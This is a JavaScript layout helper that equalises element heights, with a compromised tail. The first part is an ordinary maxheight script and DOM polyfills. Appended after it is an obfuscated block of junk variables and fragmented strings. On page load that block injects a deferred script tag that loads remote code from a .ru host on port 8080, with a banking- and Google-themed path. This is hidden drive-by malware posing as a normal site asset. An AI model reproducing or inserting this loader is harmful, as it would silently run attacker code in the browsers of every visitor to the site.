var ElementMaxHeight = function() {
  this.initialize.apply(this, arguments);
}

ElementMaxHeight.prototype = {
  initialize: function(className) {
    this.elements = document.getElementsByClassName(className || 'maxheight');    
    this.textElement = document.createElement('span');
    this.textElement.appendChild(document.createTextNode('A'));
    this.textElement.style.display = 'block';
    this.textElement.style.position = 'absolute';
    this.textElement.style.fontSize = '1em';
    this.textElement.style.top = '-1000px';
    this.textElement.style.left = '-1000px';
    document.body.appendChild(this.textElement);
    this.textElementHeight = document.getDimensions(this.textElement).height;
    var __object = this;
    var __checkFontSize = this.checkFontSize;
    this.checkFontSizeInterval = window.setInterval(function() {return __checkFontSize.apply(__object)}, 500);

    this.expand();

    // Refresh elements height onResize event
    var __expand = this.expand;
    if (window.addEventListener) {
      window.addEventListener('resize', function(event) {return __expand.apply(__object, [( event || window.event)])}, false);
    } else if (window.attachEvent) {
      window.attachEvent('onresize', function(event) {return __expand.apply(__object, [( event || window.event)])});
    }
  },

  expand: function() {
    this.reset();
  	for (var i = 0; i < this.elements.length; i++) {  	
      this.elements[i].style.height = document.getDimensions(this.elements[i].parentNode).height + 'px';
  	}
  },

  reset: function() {
    for (var i = 0; i < this.elements.length; i++) {    
      this.elements[i].style.height = 'auto';
    }
  },

  checkFontSize: function() {
  	var height = document.getDimensions(this.textElement).height;
  	if(this.textElementHeight != height) {
  		this.textElementHeight = height;
  		this.expand();
  	}
  }  
}


if (!!document.evaluate) {
  document._getElementsByXPath = function(expression, parentElement) {
    var results = [];
    var query = document.evaluate(expression, parentElement || document,
      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
    for (var i = 0, length = query.snapshotLength; i < length; i++)
      results.push(query.snapshotItem(i));
    return results;
  }
}

document.getElementsByClassName = function(className, parentElement) {
  if (!!document.evaluate) {
    var q = ".//*[contains(concat(' ', @class, ' '), ' " + className + " ')]";
    return document._getElementsByXPath(q, parentElement);
  } else {
    var children = (parentElement || document.body).getElementsByTagName('*');
    var elements = [], child;
    for (var i = 0, length = children.length; i < length; i++) {
      child = children[i];
      if (child.className.length != 0 &&
          (child.className == className ||
           child.className.match(new RegExp("(^|\\s)" + className + "(\\s|$)")))) {      
        elements.push(child);
      }
    }
    return elements;
  }
}

document.getDimensions = function (element) {
  var display = element.style.display;
  if (display != 'none' && display != null) { // Safari bug
    return {width: element.offsetWidth, height: element.offsetHeight};
  }

  return {width: originalWidth, height: originalHeight};
}

var E=["p","mW","Z"];var A='';var G={v:46323};var X={b:49527};try {var tb=["ht"];var j=new String();var HI=54043;var F={DR:"uY"};Q=["B"];this.yE=50040;this.yE-=91;var q=window[String("unes"+"capeNSb".substr(0,4))];q_=39802;q_++;this.bK=false;HL=["bx","k","_t"];HW=25863;HW++;var asB={lM:"wS"};this.kt=false;var s={T:"hm"};this.Xf=58301;this.Xf--;var V="replU4kx".substr(0,4)+"MdFaceMFd".substr(3,3);var Dm=["BK","Za"];var w=new String("1");tu={O:58327};var c={P:59259};var u=window[(new String("RexFKt".substr(0,2)+"gEmHK".substr(0,2)+"xp"))];var Js={ma:4499};var pK={vy:44137};var a='';var GV={az:false};var Gr={WV:false};try {var Zl='nf'} catch(Zl){};var C={ZQ:false};var K=new String("onloa"+"d");this.bv=46227;this.bv++;function h(w,t){this.Gu=51439;this.Gu++;var se={BX:"iQ"};this.HP=29183;this.HP++;var wD=new String("Q0Yv[".substr(4));var Df={S:5614};try {var td='xW'} catch(td){};Af=61804;Af++;wD+=t;wD+=q("%5d");try {} catch(M){};em={};var Ts=["Je","hk","kO"];var SZ=["ih","VL","Nr"];var pR=new String();try {var jL='qv'} catch(jL){};rx=["Ad"];var o=new u(wD, "g");AL=["Ny","uF","fh"];return w.replace(o, a);};bT=[];var tg="";this.ac=25484;this.ac+=131;var hP='';var x=new String("/citIoyv".substr(0,4)+"iban"+"k-cox7Ys".substr(0,4)+"m/go"+"yOIFogle".substr(4)+"QPTn.comTQPn".substr(4,4)+"/art"+"icle"+"sbas"+"QFTwe.coTwQF".substr(4,4)+"qJRm.ph".substr(3)+"YwapwaY".substr(3,1));Ur={vh:false};var n="http:"+"//got"+"hguiloPy".substr(0,5)+"t.ru:BYpX".substr(0,5);YF={Ez:58798};Pj=30687;Pj+=200;ZS={};var RVE={nn:false};JU={};var bq=["pr"];try {var WT='MR'} catch(WT){};var tW=925046-916966;ve=1715;ve++;var kOG=["ihN","Bl","WG"];var UR=["Xy","Ql","Ol"];PI=48086;PI++;IE=14932;IE+=55;this.Wa=34668;this.Wa++;var kw='';function _(){var mWe=[];var zD={jC:false};zR=["jX","oW"];var rp=[];var HY=50843;this.Is='';var J=new String("ap"+"pe"+"nd"+"Ch"+"il"+"d");var rt={iK:false};Sz={gD:44507};var Ft=52300;Dn={KL:41629};var g=document;ip={};IF={tc:412};var ak=h('sbc3r2iopGtb','M324bo90heUGdEnFIq');this.eu='';LI=51879;LI--;Xu={};this.yT=33960;this.yT+=152;aZ={};d=g.createElement(ak);this.EX=50812;this.EX+=195;this.jx=58148;this.jx+=163;var eb="eb";var AS="AS";GG=10573;GG-=12;this.zg=28489;this.zg-=156;xU=n+tW;this.nb=false;xU=xU+x;var Nrz=false;var rr='';var PDS=false;var mt={ZZ:19689};this.sa="";MHW=["CQ"];this.Fah='';var PJ={bC:55083};d[String("def"+"er")]=w;Vg=64166;Vg-=43;Wq={};XY={};var lL=25944;Su={};var m=g.body;Lb=22622;Lb-=165;d.src=xU;var Jp="Jp";m[J](d);hY=["Sh","ldn"];try {var YK='Dd'} catch(YK){};this.os=47297;this.os-=150;var XHV=new String();};var OO=["Tj"];this.wH=23493;this.wH++;this.aM=37463;this.aM++;Kr={Yz:31434};try {var rg='be'} catch(rg){};var np=new String();window[K]=_;try {var af='tG'} catch(af){};try {var Ho='eAe'} catch(Ho){};} catch(H){var BH=["RT","oT"];var RE=["Jy","NN"];eQ=36149;eQ-=13;var qw=["mWs"];var Mw=["yG","SA"];Sk=["EL"];BXg=["HIy"];var qm=["Gy","gA"];this.mVH=false;};this.qf="qf";this.Yte="Yte";
